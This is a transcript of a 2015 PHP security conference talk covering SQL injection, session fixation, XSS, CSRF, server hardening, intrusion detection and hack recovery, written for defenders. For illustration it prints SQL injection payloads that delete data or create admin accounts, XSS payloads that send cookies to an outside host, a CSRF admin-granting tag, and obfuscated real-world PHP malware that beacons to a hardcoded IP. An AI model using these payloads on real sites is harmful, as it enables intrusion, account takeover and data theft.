my app is secure... i think

Post on 15-Jul-2015

130 Views

Category:

Technology

0 Downloads

Preview:

Click to see full reader

TRANSCRIPT

Wim GoddenCu.be Solutions

My app is secure...I think

Who am I ?

Wim Godden (@wimgtr)

Where I'm from

Where I'm from

Where I'm from

Where I'm from

Where I'm from

Where I'm from

My town

My town

Belgium – the traffic

Who am I ?

Wim Godden (@wimgtr)

Founder of Cu.be Solutions (http://cu.be)

Open Source developer since 1997

Developer of OpenX, PHPCompatibility, ...

Speaker at PHP and Open Source conferences

Who are you ?

Developers ?

System engineers ?

Network engineers ?

Ever had a hack ?Through the code ?

Through the server ?

This tutorial

Based on 2-day training

No Vagrant/VirtualBox required

My app is secure... I think

Basic stuff = known...

… or is it ?

Code is not enoughCode

Webserver

Database server

Operating system

Network

Disclaimer

Do not use these techniques to hack

Use the knowledge to prevent others from hacking you

Reasons for hackers to hack

Steal and sell your data

Use your infrastructure as a jumpstation to hack other servers

Send out lots of spam

Use your server in a botnet for DDOS attacks

Part 1 : the most common attacks

SQL Injection

Over 15 years

Still #1 problem

Easy to exploit

Easy to automate (scan + exploit)

Often misunderstood

SQL injection – sample – lostpassword.php

<?php$query = "select * from user where email='" . $_POST['email'] . "'";$result = mysql_query($query);if (mysql_errno() != 0) { echo 'Error !';} else { if (mysql_numrows($result) == 0) { echo 'E-mail address not found'; } else { $newpass = updatepassword(mysql_result($result, 0, 'email')); mail($_POST['email'], 'New password', 'Your new password is ' . $newpass); echo 'Your new password was sent to ' . mysql_result($result, 0, 'email'); }}

SQL injection – sample – lostpassword

lostpassword.php?email=whatever@me.com%27+OR+%271%27%3D%271

email=whatever@me.com' OR '1'='1

select * from user where email='whatever@me.com' OR '1'='1'

Worst case : data deletion

email=whatever@me.com' OR '1'='1'; delete from user where '1'='1

Knowing the database structure

email=whatever@me.com' AND email is NULL; –'

select * from user where email='whatever@me.com' AND email is NULL; --';

<?php$query = "select * from user where email='" . $_GET['email'] . "'";$result = mysql_query($query);if (mysql_errno() != 0) { echo 'Error !';} else { if (mysql_numrows($result) == 0) { echo 'Not found'; } else { $newpass = updatepassword(mysql_result($result, 0, 'email')); mail($_GET['email'], 'New password', 'Your new password is ' . $newpass); echo 'Your new password was sent to ' . mysql_result($result, 0, 'email'); }}

Other fields ?

id

firstname / first_name

lastname / last_name

password / pass / pwd

is_admin / isadmin / admin

email=whatever@me.com'; INSERT INTO user('email', 'password', 'firstname', 'lastname', 'is_admin') values('myhackeraddress@gmail.com', md5('reallyinsecure'), 'My', 'New User', 1); --';

Update, retrieve password, update again

email=whatever@me.com'; UPDATE user set email='myhackeraddress@gmail.com' where email='some-user-we@found.com'; --';

Retrieve password for myhackeraddress@gmail.com

email=whatever@me.com'; UPDATE user set email='some-user-we@found.com' where email='myhackeraddress@gmail.com'; --';

Hackers just want your data

email=whatever@me.com' OR 1=1 limit 2, 1; --';

email=whatever@me.com' OR 1=1 limit 3, 1; --';

email=whatever@me.com' OR 1=1 limit 4, 1; --';

...

SQL Injection – much more...

Much more than logging in as a user

SQL injection possible → wide range of dangers

Fixing SQL injection : attempt #1

Addslashes() ?$query = mysql_query('select * from user where id=' . addslashes($_GET['id']));

id=5 and sleep(10)

select * from user where id=5 and sleep(10)

What if we hit that code 100 times simultaneously ?

MySQL max_connections reached → Server unavailable

Fixing SQL injection : attempt #2

mysql_real_escape_string()

mysqli_real_escape_string()

pg_escape_string()

...

Fixing SQL injection : use prepared statements

$select = 'select * from user where email = :email';$stmt = $db->prepare($select);$stmt->bindParam(':email', $_GET['email']);$stmt->execute();$results = $stmt->fetchAll();

ORM tools

Doctrine, Propel, …

When using their query language → OK

Beware : you can still execute raw SQL !

Other injections

LDAP injection

Command injection

User input → PHP → External system

If you provide the data, it's your responsibility !

Session fixation

www.our-app.com

1

2PHPSESSID=abc123

3www.our-app.com/?PHPSESSID=abc123

4

www.our-app.com/

?PHPSESSID=abc123

5www.our-app.com/

?PHPSESSID=abc123

Enable session.use_only_cookies in php.ini !

Session fixation

angel.our-app.com

1Create evil PHP code

4

Session cookie on

.our-app.com +

redirect

2devil.our-app.com

3

devil.our-app.comdevil.our-app.com

5Login6

Use evil session cookie

Ways to avoid session fixation

session.use_only_cookies = true

Change session on login using session_regenerate_id(true)

Do not share sessions between sites/subdomains

Do not accept sessions not generated by your codeForeign session → remove the session cookie from the user

Regenerate session regularly using session_regenerate_id(true)

All of the above help against session fixation AND session hijacking !

XSS – Cross Site Scripting

<?phpaddMessage($_GET['id'], $_GEt['message']);

echo 'Thank you for submitting your message : ' . $_GET['message'];

URL : /submitMessage

http://www.our-app.com/submitMessage?id=5&message=<script>alert('Fun eh ?')</script>

XSS – more advanced

http://www.our-app.com/submitMessage?id=5&message=Thanks, we will be in touch soon.<script type="text/javascript" src="http://someplace.io/i-will-get-your-cookie.js"></script>

XSS – Advanced, yet simple

<img src=x onerror=this.src='http://someplace.io/post-the-cookie-here.php?c='+document.cookie>

http://www.our-app.com/?id=5&message=Thanks%2C+we+will+be+in+touch+soon.%3Cimg+src%3Dx+onerror%3Dthis.src%3D%27http%3A%2F%2Fsomeplace.io%2Fpost-the-cookie-here.php%3Fc%3D%27%2Bdocument.cookie%3E%0D%0A

XSS : Non-persisted vs persistent

Previous examples were non-persistent : issue occurs once

Post code to exploitable bulletin board→ Persistent

→ Can infect every user

XSS : how to avoid

Filter input, escape output

<?phpecho 'I just submitted this message : ' . htmlentities($_GET['message'], ENT_QUOTES);

CSRF : Cross Site Request Forgery

www.our-app.com

1

Submit article

for review

2Retrieve articlefor review

3Evil html or jsmakes call

4

Devil uses extra

privileges

Here's the article you were asking for.<img src=”http://www.our-app.com/userSave.php?username=Devil&admin=1” />

CSRF : ways to avoid

Escape the output (where did we hear that before ?)

Add a field to forms with a random hash for verification upon submit

Check the referer header

General rules – input validation

Assume all data you receive as input

contains a hack attempt !

Filter on disallowed characters

Check validity ofDates

Email addresses

URLs

etc.

Input validation is not browser-side code, it's server-side code

(you can ofcourse use browser-side code to make it look good)

General rules – escaping output

Doing input validation → why do you need output escaping ?

What if the data originates froma webservice

an XML feed

Always escape output !

Bad authentication / authorization layer

index.php(checks cookie)

login.php(sets cookie)

redirectto login

main.php

redirectto main

Bad authentication / authorization layer

index.php(checks cookie)

login.php(sets cookie)

redirectto login

main.php(doesn't check

cookie !)

redirectto main

Bad authentication / authorization layer

Only hiding URLs on view, not restricting on action/somewhere is visible on screen

/somewhere/admin is not visible, but is accessible

Allowing direct access to other user's data/user/profile/id/311 is the user's profile

/user/profile/id/312 is also accessible and updateable

Allowing direct access to file downloads with guessable urls/download/file/83291.pdf

Creating cookies :loggedin=1

userid=312

admin=1

Protecting your web stack

PHP

Webserver

Database server

Mail server

Other servers

Firewalls

...

Protecting your web stack - PHP

Update to the latest version (5.4 = EOL, 5.5 will be EOL this year)

Safe_mode = dead → use PHP-FPM or VMs

Register_globals = dead :-)

Suhosin patch → mostly for web hosting companies

Disable 'dangerous' PHP functions you don't needsystem

exec

passthru

'Eval' is not a function, so can not be disabled

Protecting your web stack – PHP code

If you allow uploads, restrict extensions. No .php, .phtml !

Don't show errors...

...and don't show exceptions, but...

…log them ! And watch your logs ;-)

If you use filenames as parametersdownload.php?filename=test.pdf

Make sure you don't allow ../../../../etc/passwd

Use basename() and pathinfo() to restrict

File extensions :Use .php

Don't use .inc, .conf, .include, ...

Detecting hack attempts from PHP

2 options :Build your own

Use an existing system

Building a simply system

Add a hidden input field (bots will fill it out)

Implement a captcha

Limit number of attempts on captcha

Limit number of posts to certain URL

Limiting number of posts to a URL

function isUserBlocked($userId) { $submissions = $memcache->get('submissions_' . $userId); if ($submissions->getResultCode() == Memcached::RES_NOTSTORED) { $submissions = array(); }

$now = new DateTimeImmutable();

if (count($submissions) == 10) { if (new DateTime($submissions[0]) > $now->modify('-1 hour')) { return false; } unset($submissions[9]); }

array_unshift($submissions, $now->format(DateTime::ATOM)); $memcache->set('submissions_' . $userId, $submissions); return true;}

Using an existing system

PHPIDS :The standard IDS for PHP

More complete

Exposé :By @enygma (Chris Cornutt)

Faster

Use the same ruleset

Provides impact value =

level of trust in data

$data = array( 'POST' => array( 'test' => 'foo', 'bar' => array( 'baz' => 'quux', 'testing' => '<script>test</script>' ) ));

$filters = new \Expose\FilterCollection();$filters->load();

$logger = new \Expose\Log\Mongo();

$manager = new \Expose\Manager($filters, $logger);$manager->run($data);

// should return 8echo 'impact: '.$manager->getImpact()."\n";

Protecting your web stack – Passwords

Don't create your own password hashing algorithm !

Use password_hash5.5+ : built-in

< 5.5 : ircmaxell/password-compat

Don't md5() → sha512, blowfish, …

Set a good password policyMin 8 chars, min 1 number, min 1 capital, …

Try to avoid password hints→ Email is better for recovery

Protecting your web stack – Webserver

Block direct access to upload directories

Allow only access to port 80 and 443 (!)

Disable phpMyAdmin (VPN only if required)

On Apache don't :AllowOverride All

Options Indexes

Block access to .svn and .git

Detect and ban flood/scan attempts in Nginx :http { limit_conn_zone $binary_remote_addr zone=conn_limit_per_ip:10m; limit_req_zone $binary_remote_addr zone=req_limit_per_ip:10m rate=5r/s;

server { limit_conn conn_limit_per_ip 10; limit_req zone=req_limit_per_ip burst=10 nodelay; }}

Use automatic logfile scanner & banner

Example : Fail2ban

[http-get-dos]enabled = trueport = http,httpsfilter = http-get-doslogpath = /var/log/nginx/access.logmaxretry = 300findtime = 300bantime = 600action = iptables[name=HTTP, port=http, protocol=tcp]

Protecting your web stack – Database server

No access from the web required

Give it a private IP

Other users on network ?

→ send traffic over SSL

1 user per DB

1 DB per application

Protecting your web stack – Mail server

Setup SSL for POP3, IMAP, SMTP

Setup DomainKeys

Setup SPF (Sender Policy Framework)

Protecting your web stack – DNS server

Possible weak point in architecture

Controls web, MX (mail) records, anti-spam, etc.

DNS hijacking

DNS spoofing

Protecting your web stack

Use public/private key pairs, not passwords

Don't login as root

→ Use sudo for commands that really need it

Allow SSH access only from VPN

RunningMemcached ?

Gearman ?

… ?

→ Block external access

Lack of updates

Not updating system packages

Not updating frameworks and librariesNot just main components

Doctrine

Bootstrap

TinyMCE

etc.

Not updating webserver software

Not updating database server software

Recently :Heartbleed (OpenSSL)

Shellshock (Bash)

Ghost (Glibc)

Protecting your web stack - firewalls

Separate or on-server

Default policy = deny all

Don't forget IPv6 !!!

Perform regular scans from external location

Use blacklists to keep certain IP ranges out

First action of a hacker

Make sure they don't lose the access they gainedCreate new user → easy to detect

Install a custom backdoor

→ easy to detect with good IDS

Install a backdoor based on installed software

→ Example : start SSHD with different config on different port (remember firewall ?)

→ Harder to detect

→ Kill it... what happens ?

→ Probably restarts via cronjob

Using an Intrusion Detection System

Host-based Intrusion Detection System (HIDS)

Network-based Intrusion Detection System (NIDS)

Host-based Intrusion Detection System

Scans the file system for changesNew/deleted files

Modified files (based on checksum)

File permission changes

Old systems are standalone :AIDE, Tripwire, AFICK

Easy to update by hacker, not recommended (unless combined with backup system)

Intrusion detection by backup

Best Open Source tool = OSSECClient-based architecture → real-time notification that hacker can't stop

Centralized updates

OSSEC - WebUI

OSSEC - Analogi

OSSEC structure

OSSEC integration

Decentralized alternative : Samhain

Can be used centralized or standalone

Log to syslog, send email, write to DB

Processing on the clientImproves processing speed

Requires CPU power on client

Network-based Intrusion Detection Systems

SnortOpen Source

Supported by Cisco (rules are not free)

Analyzes traffic, blocks malicious traffic

Huge user base, tons of addons

Snort

Network-based Intrusion Detection Systems

SirucataSimilar to Snort

Multi-threaded

Supports hardware acceleration (packet inspection by GPU !)

Detects malware in traffic

Scripting engine : Lua (with LuaJIT)

Sirucata + Kibana

Network-based Intrusion Detection Systems

KismetWireless IDS

Detects rogue access points

Prevents MITM attacks

Detects hidden access points

Kismet

One IDS distro to rule them all

Security OnionBased on Ubuntu

Contains all the IDS tools...

...and much more

You've been hacked ! Now what ? (1/3)

Take your application offline→ Put up a maintenance page (on a different server)

Take the server off the public Internet

Change your SSH keys

Make a full backup

Check for cronjobs

Check access/error logs→ Give them to legal department

Were any commits made from the server ?→ Your server shouldn't be able to !

What a PHP hack might look like

eval(base64_decode('aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZXQoJEdMT0JBTFNbJ3NoX25vJ10pKXskR0xPQkFMU1snc2hfbm8nXT0xO2lmKGZpbGVfZXhpc3RzKCcvaG9tZS9iaXJkc2FuZC9wdWJsaWNfaHRtbC90ZW1wL1VQU0Nob2ljZTFfOF8zXzEvY2F0YWxvZy9pbmNsdWRlcy9sYW5ndWFnZXMvZW5nbGlzaC9tb2R1bGVzL3NoaXBwaW5nL3N0eWxlLmNzcy5waHAnKSl7aW5jbHVkZV9vbmNlKCcvaG9tZS9iaXJkc2FuZC9wdWJsaWNfaHRtbC90ZW1wL1VQU0Nob2ljZTFfOF8zXzEvY2F0YWxvZy9pbmNsdWRlcy9sYW5ndWFnZXMvZW5nbGlzaC9tb2R1bGVzL3NoaXBwaW5nL3N0eWxlLmNzcy5waHAnKTtpZihmdW5jdGlvbl9leGlzdHMoJ2dtbCcpJiYhZnVuY3Rpb25fZXhpc3RzKCdkZ29iaCcpKXtpZighZnVuY3Rpb25fZXhpc3RzKCdnemRlY29kZScpKXtmdW5jdGlvbiBnemRlY29kZSgkUjIwRkQ2NUU5Qzc0MDYwMzRGQURDNjgyRjA2NzMyODY4KXskUjZCNkU5OENERThCMzMwODdBMzNFNEQzQTQ5N0JEODZCPW9yZChzdWJzdHIoJFIyMEZENjVFOUM3NDA2MDM0RkFEQzY4MkYwNjczMjg2OCwzLDEpKTskUjYwMTY5Q0QxQzQ3QjdBN0E4NUFCNDRGODg0NjM1RTQxPTEwOyRSMEQ1NDIzNkRBMjA1OTRFQzEzRkM4MUIyMDk3MzM5MzE9MDtpZigkUjZCNkU5RTQxKSsxO31pZigkUjZCNkU5OENERThCMzMwODdBMzNFNEQzQTQ5N0JEODZCJjE2KXskUjYwMTY5Q0QxQzQ3QjdBN0E4NUFCNDRGODg0NjM1RTQxPXN0cnBvcygkUjIwRkQ2NUU5Qzc0MDYwMzRGQURDNjgyRjA2NzMyODY4LGNocigwKSwkUjYwMTY5Q0QxQzQ3QjdBN0E4NUFCNDRGODg0NjM1RTQxKSsxO31pZigkUjZCNkU5OENERThCMzMwODdBMzNFNEQzQTQ5N0JEODZCJjIpeyRSNjAxNjlDRDFDNDdCN0E3QTg1QUI0NEY4ODQ2MzVFNDErPTI7fSRSQzRBNUI1RTMxMEVENEMzMjNFMDRENzJBRkFFMzlGNTM9Z3ppbmZsYXRlKHN1YnN0cigkUjIwRk...'));

What a PHP hack might look like

What a PHP hack might look like

$GLOBALS['_226432454_']=Array();function _1618533527($i){ return '91.196.216.64';}

$ip=_1618533527(0);$GLOBALS['_1203443956_'] = Array('urlencode');function _1847265367($i){ $a=Array('http://','/btt.php?ip=','REMOTE_ADDR','&host=','HTTP_HOST','&ua=','HTTP_USER_AGENT','&ref=','HTTP_REFERER'); return $a[$i];}$url = _1847265367(0) .$ip ._1847265367(1) .$_SERVER[_1847265367(2)] ._1847265367(3) .$_SERVER[_1847265367(4)] ._1847265367(5) .$GLOBALS['_1203443956_'][0]($_SERVER[_1847265367(6)]) ._1847265367(7) .$_SERVER[_1847265367(8)];$GLOBALS['_399629645_']=Array('function_exists', 'curl_init', 'curl_setopt', 'curl_setopt', 'curl_setopt', 'curl_exec', 'curl_close', 'file_get_contents');function _393632915($i){ return 'curl_version';}

What a PHP hack might look like - location

Changes to .htaccess

Files in upload directory

PHP code in files with different extension

New modules/plugins for Drupal/Wordpress

You've been hacked ! Now what ? (2/3)

Search systempreg_replace

base64_decode

eval

system

exec

passthru

Search system and databasescript

iframe

You've been hacked ! Now what ? (3/3)

Find out how the hack happened ;-)

Write an apology to your customers

Finally :Reinstall the OS (from scratch !)

Update all packages to the latest version

Don't reinstall from backup !

Install source code

Restore DB from previous backup (use binary log file)

Change user passwords

Relaunch

Takeaways

Think like a hackerCan I steal data ? Can I DOS the site ?

Which techniques could I use to do it ?

Try it without looking at the code

Try it while looking at the code

Use SSL/HTTPS everywhere !

Block all traffic, then allow only what's needed

Sanitize/filter your input

Escape your output

Block flooders/scanners

Use an IDS

Never trust a hacked system

Questions ?

Questions ?

Contact

Twitter @wimgtr

Slides http://www.slideshare.net/wimg

E-mail wim@cu.be

Please provide feedback via :

http://joind.in/13425

Thanks !

Please provide feedback via :

http://joind.in/13425

top related